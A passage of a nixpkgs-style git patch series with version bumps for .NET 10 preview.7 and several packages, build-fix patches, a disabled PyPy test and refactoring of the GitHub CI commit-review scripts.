-    "sha256": "ce1b95a1611a442ead51a5a6f33939311a94c20dee287d1aa903b0e1425a5e28",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/10.0.0-preview.6.25302.104/runtime.osx-x64.microsoft.netcore.ildasm.10.0.0-preview.6.25302.104.nupkg",
-    "version": "10.0.0-preview.6.25302.104"
+    "sha256": "7c0cf48f6a48ab0b7b4cd339aed9c1626873674e614fea33e15ee7c938514e8d",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/10.0.0-preview.7.25322.101/runtime.osx-x64.microsoft.netcore.ildasm.10.0.0-preview.7.25322.101.nupkg",
+    "version": "10.0.0-preview.7.25322.101"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/10/release-info.json b/pkgs/development/compilers/dotnet/10/release-info.json
index 49f114107afb..535b6de70133 100644
--- a/pkgs/development/compilers/dotnet/10/release-info.json
+++ b/pkgs/development/compilers/dotnet/10/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-ffQAL6kerSjdOcd4YsC1374zH2gBDsdWJeBTwEsTUbo=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.10.0.100-preview.6.25302.104.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-CEmna8eEx6+8nxThVGnqWkz6DSJOnJWuFrCWzDRoAYo="
+  "tarballHash": "sha256-sE7HIeZfg3Q4/izN7ZNg+KHCQAkp7NwJXoe2BA+E4Ww=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.10.0.100-preview.7.25322.101-1.centos.10-x64.tar.gz",
+  "artifactsHash": "sha256-jwyPybGkBPrmwDBkesqEauTEFNTgBv/sUW3jaUnWbt4="
 }
diff --git a/pkgs/development/compilers/dotnet/10/release.json b/pkgs/development/compilers/dotnet/10/release.json
index 7e368bbb2a0d..98a497ec5bc7 100644
--- a/pkgs/development/compilers/dotnet/10/release.json
+++ b/pkgs/development/compilers/dotnet/10/release.json
@@ -1,11 +1,11 @@
 {
-  "release": "10.0.0-preview.6",
+  "release": "10.0.0-preview.7",
   "channel": "10.0",
-  "tag": "v10.0.0-preview.6.25358.103",
-  "sdkVersion": "10.0.100-preview.6.25358.103",
-  "runtimeVersion": "10.0.0-preview.6.25358.103",
-  "aspNetCoreVersion": "10.0.0-preview.6.25358.103",
+  "tag": "v10.0.100-preview.7.25380.108",
+  "sdkVersion": "10.0.100-preview.7.25380.108",
+  "runtimeVersion": "10.0.0-preview.7.25380.108",
+  "aspNetCoreVersion": "10.0.0-preview.7.25380.108",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "75972a5ba730bdaf7cf3a34f528ab0f5c7f05183",
-  "officialBuildId": "20250708.3"
+  "sourceVersion": "30000d883e06c122311a66894579bc12329a09d4",
+  "officialBuildId": "20250730.8"
 }
diff --git a/pkgs/development/compilers/dotnet/bundler-fix-file-size-estimation-when-bundling-symli.patch b/pkgs/development/compilers/dotnet/bundler-fix-file-size-estimation-when-bundling-symli.patch
new file mode 100644
index 000000000000..deb7f49211cb
--- /dev/null
+++ b/pkgs/development/compilers/dotnet/bundler-fix-file-size-estimation-when-bundling-symli.patch
@@ -0,0 +1,47 @@
+From 8fa3570bf75c48bf68f42b74790bf8ba0f032a3f Mon Sep 17 00:00:00 2001
+From: David McFarland <corngood@gmail.com>
+Date: Thu, 14 Aug 2025 10:49:40 -0300
+Subject: [PATCH] bundler: fix file size estimation when bundling symlinks
+
+---
+ .../managed/Microsoft.NET.HostModel/Bundle/Bundler.cs  | 10 ++++++++--
+ 1 file changed, 8 insertions(+), 2 deletions(-)
+
+diff --git a/src/runtime/src/installer/managed/Microsoft.NET.HostModel/Bundle/Bundler.cs b/src/runtime/src/installer/managed/Microsoft.NET.HostModel/Bundle/Bundler.cs
+index a5e8b593484..39f39334251 100644
+--- a/src/runtime/src/installer/managed/Microsoft.NET.HostModel/Bundle/Bundler.cs
++++ b/src/runtime/src/installer/managed/Microsoft.NET.HostModel/Bundle/Bundler.cs
+@@ -284,6 +284,12 @@ public string GenerateBundle(IReadOnlyList<FileSpec> fileSpecs)
+                 throw new ArgumentException("Invalid input specification: Must specify the host binary");
+             }
+ 
++            static long GetFileLength(string path)
++            {
++                var info = new FileInfo(path);
++                return ((FileInfo?)info.ResolveLinkTarget(true) ?? info).Length;
++            }
++
+             (FileSpec Spec, FileType Type)[] relativePathToSpec = GetFilteredFileSpecs(fileSpecs);
+             long bundledFilesSize = 0;
+             // Conservatively estimate the size of bundled files.
+@@ -293,7 +299,7 @@ public string GenerateBundle(IReadOnlyList<FileSpec> fileSpecs)
+             // We will memory map a larger file than needed, but we'll take that trade-off.
+             foreach (var (spec, type) in relativePathToSpec)
+             {
+-                bundledFilesSize += new FileInfo(spec.SourcePath).Length;
++                bundledFilesSize += GetFileLength(spec.SourcePath);
+                 if (type == FileType.Assembly)
+                 {
+                     // Alignment could be as much as AssemblyAlignment - 1 bytes.
+@@ -314,7 +320,7 @@ public string GenerateBundle(IReadOnlyList<FileSpec> fileSpecs)
+             {
+                 Directory.CreateDirectory(destinationDirectory);
+             }
+-            var hostLength = new FileInfo(hostSource).Length;
++            var hostLength = GetFileLength(hostSource);
+             var bundleManifestLength = Manifest.GetManifestLength(BundleManifest.BundleMajorVersion, relativePathToSpec.Select(x => x.Spec.BundleRelativePath));
+             long bundleTotalSize = hostLength + bundledFilesSize + bundleManifestLength;
+             if (_target.IsOSX && _macosCodesign)
+-- 
+2.50.1
+
diff --git a/pkgs/development/compilers/dotnet/mscordac-fix-missing-libunwind-symbols-on-linux.patch b/pkgs/development/compilers/dotnet/mscordac-fix-missing-libunwind-symbols-on-linux.patch
new file mode 100644
index 000000000000..a6e95daf1841
--- /dev/null
+++ b/pkgs/development/compilers/dotnet/mscordac-fix-missing-libunwind-symbols-on-linux.patch
@@ -0,0 +1,42 @@
+From 9ec09da8755f2888a2ae15c52e223953785bc146 Mon Sep 17 00:00:00 2001
+From: David McFarland <corngood@gmail.com>
+Date: Wed, 13 Aug 2025 16:03:41 -0300
+Subject: [PATCH] mscordac: fix missing libunwind symbols on linux
+
+---
+ src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt b/src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt
+index 71b69336e2e..dc3b79d6933 100644
+--- a/src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt
++++ b/src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt
+@@ -157,6 +157,12 @@ set(COREDAC_LIBRARIES
+     ${END_LIBRARY_GROUP} # End group of libraries that have circular references
+ )
+ 
++if(CLR_CMAKE_HOST_UNIX)
++    list(APPEND COREDAC_LIBRARIES
++        coreclrpal_dac
++    )
++endif(CLR_CMAKE_HOST_UNIX)
++
+ if(CLR_CMAKE_HOST_WIN32)
+     # mscordac.def should be generated before mscordaccore.dll is built
+     add_dependencies(mscordaccore mscordaccore_def)
+@@ -205,12 +211,6 @@ if(CLR_CMAKE_HOST_WIN32 AND CLR_CMAKE_TARGET_UNIX)
+     )
+ endif(CLR_CMAKE_HOST_WIN32 AND CLR_CMAKE_TARGET_UNIX)
+ 
+-if(CLR_CMAKE_HOST_UNIX)
+-    list(APPEND COREDAC_LIBRARIES
+-        coreclrpal_dac
+-    )
+-endif(CLR_CMAKE_HOST_UNIX)
+-
+ target_link_libraries(mscordaccore PRIVATE ${COREDAC_LIBRARIES})
+ 
+ esrp_sign(mscordaccore)
+-- 
+2.50.0
+
diff --git a/pkgs/development/compilers/dotnet/source-build-externals-overwrite-rather-than-append-.patch b/pkgs/development/compilers/dotnet/source-build-externals-overwrite-rather-than-append-.patch
deleted file mode 100644
index a52fb2d9244a..000000000000
--- a/pkgs/development/compilers/dotnet/source-build-externals-overwrite-rather-than-append-.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 393d224e7b05c73baf9f5d5130d7c9d15c5fc526 Mon Sep 17 00:00:00 2001
-From: David McFarland <corngood@gmail.com>
-Date: Fri, 13 Jun 2025 15:32:52 -0300
-Subject: [PATCH] source-build-externals: overwrite rather than append
- NuGet.config
-
----
- .../src/repos/projects/Directory.Build.targets                  | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/source-build-externals/src/repos/projects/Directory.Build.targets b/src/source-build-externals/src/repos/projects/Directory.Build.targets
-index 5b374f4fc42..9ed8cff895c 100644
---- a/src/source-build-externals/src/repos/projects/Directory.Build.targets
-+++ b/src/source-build-externals/src/repos/projects/Directory.Build.targets
-@@ -101,7 +101,7 @@
- ]]>
-       </NewNuGetConfigContent>
-     </PropertyGroup>
--    <WriteLinesToFile Lines="$(NewNuGetConfigContent)" File="$(NewNuGetConfigFile)" />
-+    <WriteLinesToFile Lines="$(NewNuGetConfigContent)" File="$(NewNuGetConfigFile)" Overwrite="True" />
- 
-     <AddSourceToNuGetConfig NuGetConfigFile="$(NewNuGetConfigFile)"
-                             SourceName="%(_DependencyProjectsPackagesOutput.RepositoryName)"
--- 
-2.49.0
-
diff --git a/pkgs/development/compilers/dotnet/vmr.nix b/pkgs/development/compilers/dotnet/vmr.nix
index ff029423255a..aae226361e5b 100644
--- a/pkgs/development/compilers/dotnet/vmr.nix
+++ b/pkgs/development/compilers/dotnet/vmr.nix
@@ -18,6 +18,7 @@
   darwin,
   xcbuild,
   swiftPackages,
+  apple-sdk_13,
   openssl,
   getconf,
   python3,
@@ -109,12 +110,15 @@ stdenv.mkDerivation rec {
     krb5
     lttng-ust_2_12
   ]
-  ++ lib.optionals isDarwin [
-    xcbuild
-    swift
-    krb5
-    sigtool
-  ];
+  ++ lib.optionals isDarwin (
+    [
+      xcbuild
+      swift
+      krb5
+      sigtool
+    ]
+    ++ lib.optional (lib.versionAtLeast version "10") apple-sdk_13
+  );
 
   # This is required to fix the error:
   # > CSSM_ModuleLoad(): One or more parameters passed to a function were not valid.
@@ -139,9 +143,8 @@ stdenv.mkDerivation rec {
       ./fix-aspnetcore-portable-build.patch
     ]
     ++ lib.optionals (lib.versionAtLeast version "10") [
-      # src/repos/projects/Directory.Build.targets(106,5): error MSB4018: The "AddSourceToNuGetConfig" task failed unexpectedly.
-      # src/repos/projects/Directory.Build.targets(106,5): error MSB4018: System.Xml.XmlException->Microsoft.Build.Framework.BuildException.GenericBuildTransferredException: There are multiple root elements. Line 9, position 2.
-      ./source-build-externals-overwrite-rather-than-append-.patch
+      ./mscordac-fix-missing-libunwind-symbols-on-linux.patch
+      ./bundler-fix-file-size-estimation-when-bundling-symli.patch
     ];
 
   postPatch = ''
@@ -176,11 +179,15 @@ stdenv.mkDerivation rec {
       -s \$prev -t elem -n NoWarn -v '$(NoWarn);AD0001' \
       src/source-build-reference-packages/src/referencePackages/Directory.Build.props
 
+  ''
+  + lib.optionalString (lib.versionOlder version "10") ''
     # https://github.com/microsoft/ApplicationInsights-dotnet/issues/2848
     xmlstarlet ed \
       --inplace \
       -u //_:Project/_:PropertyGroup/_:BuildNumber -v 0 \
-      src/source-build-externals/src/${lib.optionalString (lib.versionAtLeast version "10") "repos/src/"}application-insights/.props/_GlobalStaticVersion.props
+      src/source-build-externals/src/application-insights/.props/_GlobalStaticVersion.props
+  ''
+  + ''
 
     # this fixes compile errors with clang 15 (e.g. darwin)
     substituteInPlace \

From 8c37a8ba1c2124883649ee71c59afc6f5c736939 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 25 Aug 2025 02:55:41 +0000
Subject: [PATCH 3911/4511] firefly-iii: 6.2.21 -> 6.3.2

(cherry picked from commit 3fdaa0ba4a7c5898d7151482fe2b7c5958a8bf5c)
---
 pkgs/by-name/fi/firefly-iii/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii/package.nix b/pkgs/by-name/fi/firefly-iii/package.nix
index 07c086943366..405888e0793d 100644
--- a/pkgs/by-name/fi/firefly-iii/package.nix
+++ b/pkgs/by-name/fi/firefly-iii/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii";
-  version = "6.2.21";
+  version = "6.3.2";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "firefly-iii";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-zyaur3CjSZ8Or2E0rQKubQ440xjwwzJE7i6QXfmn5vk=";
+    hash = "sha256-pXnz2a8Z9KRl6L4PUOq/zfxYaRZmxB9whE4fS6d+5x4=";
   };
 
   buildInputs = [ php84 ];
@@ -38,13 +38,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     composerNoScripts = true;
     composerStrictValidation = true;
     strictDeps = true;
-    vendorHash = "sha256-mo2oHmFtuY62AcT+ti/zPxxS39a6Qb0cPStyyvyVCag=";
+    vendorHash = "sha256-I/SoFoCquuLqRoe6ibqkwPXg66uZQt+0zx3BQ/S9ucs=";
   };
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-T8Kv4vbr5n+tVQntFEaNozvSu6CKJCA3V256Ml7yzHA=";
+    hash = "sha256-XxQseVs11XxxgBMBOxM5aCq2acfzEj5gD+HTQolwEUs=";
   };
 
   preInstall = ''

From b66c93435efda249381029ea6f8ca4945dda7c94 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 25 Aug 2025 04:29:07 +0000
Subject: [PATCH 3912/4511] oo7: 0.4.3 -> 0.5.0

(cherry picked from commit 1127296f57fdc251506c84137eef0e7c2a83cb55)
---
 pkgs/by-name/oo/oo7/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/oo/oo7/package.nix b/pkgs/by-name/oo/oo7/package.nix
index 3462e38d3bcf..44e6de58f2f2 100644
--- a/pkgs/by-name/oo/oo7/package.nix
+++ b/pkgs/by-name/oo/oo7/package.nix
@@ -10,20 +10,20 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "oo7";
-  version = "0.4.3";
+  version = "0.5.0";
 
   src = fetchFromGitHub {
     owner = "bilelmoussaoui";
     repo = "oo7";
     rev = version;
-    hash = "sha256-P20hxwTT/O4o+Z1LnXJJkeEHv1IILfj4/pPMNde55mY=";
+    hash = "sha256-FIHXjbxAqEH3ekTNL0/TBFZoeDYZ84W2+UeJDxcauk8=";
   };
 
   # TODO: this won't cover tests from the client crate
   # Additionally cargo-credential will also not be built here
   buildAndTestSubdir = "cli";
 
-  cargoHash = "sha256-VNgbdvX5ttW+/V2Zzkd3rGIjVe1ENRE6WLg7M48ij7o=";
+  cargoHash = "sha256-4ibhHCRBsEcwG5+6Gf/uuswA/k9zJLj+RcMdmBcmvD4=";
 
   nativeBuildInputs = [ pkg-config ];
 

From 3cbc983bef50df92e753ba7742b34e07473b50b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 21 Aug 2025 23:58:29 +0000
Subject: [PATCH 3913/4511] pnpm_10: 10.14.0 -> 10.15.0

(cherry picked from commit 601a1d80f1921210569ef3cdf96309ddac8539ed)
---
 pkgs/development/tools/pnpm/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/pnpm/default.nix b/pkgs/development/tools/pnpm/default.nix
index 189f18727da5..abe35197b783 100644
--- a/pkgs/development/tools/pnpm/default.nix
+++ b/pkgs/development/tools/pnpm/default.nix
@@ -16,8 +16,8 @@ let
       hash = "sha256-z4anrXZEBjldQoam0J1zBxFyCsxtk+nc6ax6xNxKKKc=";
     };
     "10" = {
-      version = "10.14.0";
-      hash = "sha256-KXU05l1YQkUFOcHoAiyIMateH+LrdGZHh6gVUZVC1iA=";
+      version = "10.15.0";
+      hash = "sha256-hMGeeI19fuJI5Ka3FS+Ou6D0/nOApfRDyhfXbAMAUtI=";
     };
   };
 

From 9569123863f5a80dc47873f42816dcdc8c4875ea Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Fri, 22 Aug 2025 01:06:10 +0200
Subject: [PATCH 3914/4511] jenkins: 2.516.1 -> 2.516.2

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit 0794997950561d7eb8fee8c68f7c9e67736fe162)
---
 pkgs/by-name/je/jenkins/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/je/jenkins/package.nix b/pkgs/by-name/je/jenkins/package.nix
index 1d42aece3754..d81fe1d9f53f 100644
--- a/pkgs/by-name/je/jenkins/package.nix
+++ b/pkgs/by-name/je/jenkins/package.nix
@@ -18,11 +18,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "jenkins";
-  version = "2.516.1";
+  version = "2.516.2";
 
   src = fetchurl {
     url = "https://get.jenkins.io/war-stable/${finalAttrs.version}/jenkins.war";
-    hash = "sha256-wwiifoH0zjqmeH6WyvdxU09/IG/vu4OWnXexX8fycAo=";
+    hash = "sha256-7WucCZXXgGLgVcekKgVbZRh8TSbqNvubSdjy3Ya8b8g=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 32d1a8095aa2aa0b1ec744b593b270990f35d0b9 Mon Sep 17 00:00:00 2001
From: Max Wipfli <mail@maxwipfli.ch>
Date: Sun, 17 Aug 2025 15:06:28 +0200
Subject: [PATCH 3915/4511] python3Packages.pyflakes: disable failing test for
 PyPy3

test_misencodedFileUTF16 fails with PyPy3 as it outputs a different
error message than CPython.

(cherry picked from commit 20d8a653d0a826994e59c9bddede2b7d58598b1c)
---
 pkgs/development/python-modules/pyflakes/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/python-modules/pyflakes/default.nix b/pkgs/development/python-modules/pyflakes/default.nix
index a7a1b1907c61..752aa5104871 100644
--- a/pkgs/development/python-modules/pyflakes/default.nix
+++ b/pkgs/development/python-modules/pyflakes/default.nix
@@ -26,6 +26,7 @@ buildPythonPackage rec {
   disabledTests = lib.optionals isPyPy [
     # https://github.com/PyCQA/pyflakes/issues/779
     "test_eofSyntaxError"
+    "test_misencodedFileUTF16"
     "test_misencodedFileUTF8"
     "test_multilineSyntaxError"
   ];

From af062b68114d931ee34428f264c9d3c5415ee4f0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 20 Aug 2025 21:48:05 +0000
Subject: [PATCH 3916/4511] thunderbird-128-unwrapped: 128.13.0esr ->
 128.14.0esr

(cherry picked from commit 871f10c794ce326426cefba4f5d13481459a60f4)
---
 .../networking/mailreaders/thunderbird/packages.nix           | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 71f7c570700f..dbbca7d97711 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -108,8 +108,8 @@ rec {
   thunderbird-128 = common {
     applicationName = "Thunderbird ESR";
 
-    version = "128.13.0esr";
-    sha512 = "0439ff3bf8549c68778a2bf715da82b45a9e97c2ff4a8d06147d1b65c13031489a4126889a5a561484af385c428595f9d343fb6e266beeb923d4671665f2dbdc";
+    version = "128.14.0esr";
+    sha512 = "3ce2debe024ad8dafc319f86beff22feb9edecfabfad82513269e037a51210dfd84810fe35adcf76479273b8b2ceb8d4ecd2d0c6a3c5f6600b6b3df192bb798b";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-128";

From ce15db64e647cb08ed0fcda5c08737f3932edabb Mon Sep 17 00:00:00 2001
From: Max Wipfli <mail@maxwipfli.ch>
Date: Sun, 17 Aug 2025 15:01:00 +0200
Subject: [PATCH 3917/4511] fbpanel: correctly apply -Wno-error

(cherry picked from commit f6b62e03ed4e485506b194fd1ca4d572072c90ab)
---
 pkgs/by-name/fb/fbpanel/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/fb/fbpanel/package.nix b/pkgs/by-name/fb/fbpanel/package.nix
index bf62ae6d41da..2572ff5a00c1 100644
--- a/pkgs/by-name/fb/fbpanel/package.nix
+++ b/pkgs/by-name/fb/fbpanel/package.nix
@@ -49,8 +49,10 @@ stdenv.mkDerivation {
   '';
 
   makeFlags = [ "V=1" ];
-  NIX_CFLAGS_COMPILE = [
+
+  env.NIX_CFLAGS_COMPILE = toString [
     "-Wno-error"
+    "-Wno-error=incompatible-pointer-types" # not implied by -Wno-error
     "-I${gdk-pixbuf-xlib.dev}/include/gdk-pixbuf-2.0"
   ];
 

From 59eb6387fab108500d90ef0553e83e5cc8e69090 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 21 Aug 2025 15:08:23 +0200
Subject: [PATCH 3918/4511] workflows/check: always run commits job

This is the very first step to extending the commits job to do more than
just cherry-picks in the future: It could check reverts or merge
commits, but also the commit message format and more.

Of course, cherry-picks are still just checked on the stable branches as
before. For now, this allows us to run the part that dismisses automated
reviews automatically. This helps us when we do branch related checks in
the prepare step, which would also create such a review. To avoid
cluttering multiple reviews across a PR, we'll want all of these reviews
to be handled by the same code, thus this change.

(cherry picked from commit b6bbf7b2509cf967934baa3bbe5502cdd7fa7151)
---
 .github/workflows/check.yml | 11 ++++++-----
 ci/github-script/commits.js | 20 +++++++++++++-------
 ci/github-script/run        | 12 +++++++-----
 3 files changed, 26 insertions(+), 17 deletions(-)

diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 9192264266a1..662796e47ef3 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -45,10 +45,7 @@ jobs:
           EOF
           exit 1
 
-  cherry-pick:
-    if: |
-      github.event_name == 'pull_request' ||
-      (fromJSON(inputs.baseBranch).stable && !contains(fromJSON(inputs.headBranch).type, 'development'))
+  commits:
     permissions:
       pull-requests: write
     runs-on: ubuntu-24.04-arm
@@ -68,16 +65,20 @@ jobs:
           GH_TOKEN: ${{ github.token }}
         run: gh api /rate_limit | jq
 
-      - name: Check cherry-picks
+      - name: Check commits
         id: check
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        env:
+          TARGETS_STABLE: ${{ fromJSON(inputs.baseBranch).stable && !contains(fromJSON(inputs.headBranch).type, 'development') }}
         with:
           script: |
+            const targetsStable = JSON.parse(process.env.TARGETS_STABLE)
             require('./trusted/ci/github-script/commits.js')({
               github,
               context,
               core,
               dry: context.eventName == 'pull_request',
+              cherryPicks: context.eventName == 'pull_request' || targetsStable,
             })
 
       - name: Log current API rate limits
diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 242abda88658..92e1265c4747 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -1,4 +1,4 @@
-module.exports = async ({ github, context, core, dry }) => {
+module.exports = async ({ github, context, core, dry, cherryPicks }) => {
   const { execFileSync } = require('node:child_process')
   const { classify } = require('../supportedBranches.js')
   const withRateLimit = require('./withRateLimit.js')
@@ -16,7 +16,7 @@ module.exports = async ({ github, context, core, dry }) => {
           run_id: context.runId,
           per_page: 100,
         })
-      ).find(({ name }) => name.endsWith('Check / cherry-pick')).html_url +
+      ).find(({ name }) => name.endsWith('Check / commits')).html_url +
         '?pr=' +
         pull_number
 
@@ -137,10 +137,14 @@ module.exports = async ({ github, context, core, dry }) => {
       }
     }
 
-    const commits = await github.paginate(github.rest.pulls.listCommits, {
-      ...context.repo,
-      pull_number,
-    })
+    // For now we short-circuit the list of commits when cherryPicks should not be checked.
+    // This will not run any checks, but still trigger the "dismiss reviews" part below.
+    const commits = !cherryPicks
+      ? []
+      : await github.paginate(github.rest.pulls.listCommits, {
+          ...context.repo,
+          pull_number,
+        })
 
     const extracted = await Promise.all(commits.map(extract))
 
@@ -185,6 +189,8 @@ module.exports = async ({ github, context, core, dry }) => {
 
     // Only create step summary below in case of warnings or errors.
     // Also clean up older reviews, when all checks are good now.
+    // An empty results array will always trigger this condition, which is helpful
+    // to clean up reviews created by the prepare step when on the wrong branch.
     if (results.every(({ severity }) => severity === 'info')) {
       if (!dry) {
         await Promise.all(
@@ -201,7 +207,7 @@ module.exports = async ({ github, context, core, dry }) => {
                   ...context.repo,
                   pull_number,
                   review_id: review.id,
-                  message: 'All cherry-picks are good now, thank you!',
+                  message: 'All good now, thank you!',
                 })
               }
               await github.graphql(
diff --git a/ci/github-script/run b/ci/github-script/run
index ae107df73b51..17dac5ab3a2d 100755
--- a/ci/github-script/run
+++ b/ci/github-script/run
@@ -7,7 +7,7 @@ import { program } from 'commander'
 import * as core from '@actions/core'
 import { getOctokit } from '@actions/github'
 
-async function run(action, owner, repo, pull_number, dry = true) {
+async function run(action, owner, repo, pull_number, options = {}) {
   const token = execSync('gh auth token', { encoding: 'utf-8' }).trim()
 
   const github = getOctokit(token)
@@ -35,7 +35,8 @@ async function run(action, owner, repo, pull_number, dry = true) {
       },
     },
     core,
-    dry,
+    dry: true,
+    ...options,
   })
 }
 
@@ -56,9 +57,10 @@ program
   .argument('<owner>', 'Owner of the GitHub repository to check (Example: NixOS)')
   .argument('<repo>', 'Name of the GitHub repository to check (Example: nixpkgs)')
   .argument('<pr>', 'Number of the Pull Request to check')
-  .action(async (owner, repo, pr) => {
+  .option('--no-cherry-picks', 'Do not expect cherry-picks.')
+  .action(async (owner, repo, pr, options) => {
     const commits = (await import('./commits.js')).default
-    run(commits, owner, repo, pr)
+    run(commits, owner, repo, pr, options)
   })
 
 program
@@ -74,7 +76,7 @@ program
     try {
       process.env.GITHUB_WORKSPACE = tmp
       process.chdir(tmp)
-      run(labels, owner, repo, pr, options.dry)
+      run(labels, owner, repo, pr, options)
     } finally {
       rmSync(tmp, { recursive: true })
     }

From 64fbd08045939cbc5ff08e97e66dea0e7b781643 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 21 Aug 2025 16:25:53 +0200
Subject: [PATCH 3919/4511] ci/github-script/commits: split review function
 into separate file

This allows re-using postReview in the next commit.

(cherry picked from commit c96b0e6d3df6c2cc5a156595ac2b3d4d00fd92e2)
---
 ci/github-script/commits.js | 77 +++------------------------------
 ci/github-script/reviews.js | 85 +++++++++++++++++++++++++++++++++++++
 2 files changed, 91 insertions(+), 71 deletions(-)
 create mode 100644 ci/github-script/reviews.js

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 92e1265c4747..241bc95ee1b5 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -2,6 +2,7 @@ module.exports = async ({ github, context, core, dry, cherryPicks }) => {
   const { execFileSync } = require('node:child_process')
   const { classify } = require('../supportedBranches.js')
   const withRateLimit = require('./withRateLimit.js')
+  const { dismissReviews, postReview } = require('./reviews.js')
 
   await withRateLimit({ github, core }, async (stats) => {
     stats.prs = 1
@@ -192,37 +193,7 @@ module.exports = async ({ github, context, core, dry, cherryPicks }) => {
     // An empty results array will always trigger this condition, which is helpful
     // to clean up reviews created by the prepare step when on the wrong branch.
     if (results.every(({ severity }) => severity === 'info')) {
-      if (!dry) {
-        await Promise.all(
-          (
-            await github.paginate(github.rest.pulls.listReviews, {
-              ...context.repo,
-              pull_number,
-            })
-          )
-            .filter((review) => review.user.login === 'github-actions[bot]')
-            .map(async (review) => {
-              if (review.state === 'CHANGES_REQUESTED') {
-                await github.rest.pulls.dismissReview({
-                  ...context.repo,
-                  pull_number,
-                  review_id: review.id,
-                  message: 'All good now, thank you!',
-                })
-              }
-              await github.graphql(
-                `mutation($node_id:ID!) {
-                  minimizeComment(input: {
-                    classifier: RESOLVED,
-                    subjectId: $node_id
-                  })
-                  { clientMutationId }
-                }`,
-                { node_id: review.node_id },
-              )
-            }),
-        )
-      }
+      await dismissReviews({ github, context, dry })
       return
     }
 
@@ -342,45 +313,9 @@ module.exports = async ({ github, context, core, dry, cherryPicks }) => {
     const body = core.summary.stringify()
     core.summary.write()
 
-    const pendingReview = (
-      await github.paginate(github.rest.pulls.listReviews, {
-        ...context.repo,
-        pull_number,
-      })
-    ).find(
-      (review) =>
-        review.user.login === 'github-actions[bot]' &&
-        // If a review is still pending, we can just update this instead
-        // of posting a new one.
-        (review.state === 'CHANGES_REQUESTED' ||
-          // No need to post a new review, if an older one with the exact
-          // same content had already been dismissed.
-          review.body === body),
-    )
-
-    if (dry) {
-      if (pendingReview)
-        core.info(`pending review found: ${pendingReview.html_url}`)
-      else core.info('no pending review found')
-    } else {
-      // Either of those two requests could fail for very long comments. This can only happen
-      // with multiple commits all hitting the truncation limit for the diff. If you ever hit
-      // this case, consider just splitting up those commits into multiple PRs.
-      if (pendingReview) {
-        await github.rest.pulls.updateReview({
-          ...context.repo,
-          pull_number,
-          review_id: pendingReview.id,
-          body,
-        })
-      } else {
-        await github.rest.pulls.createReview({
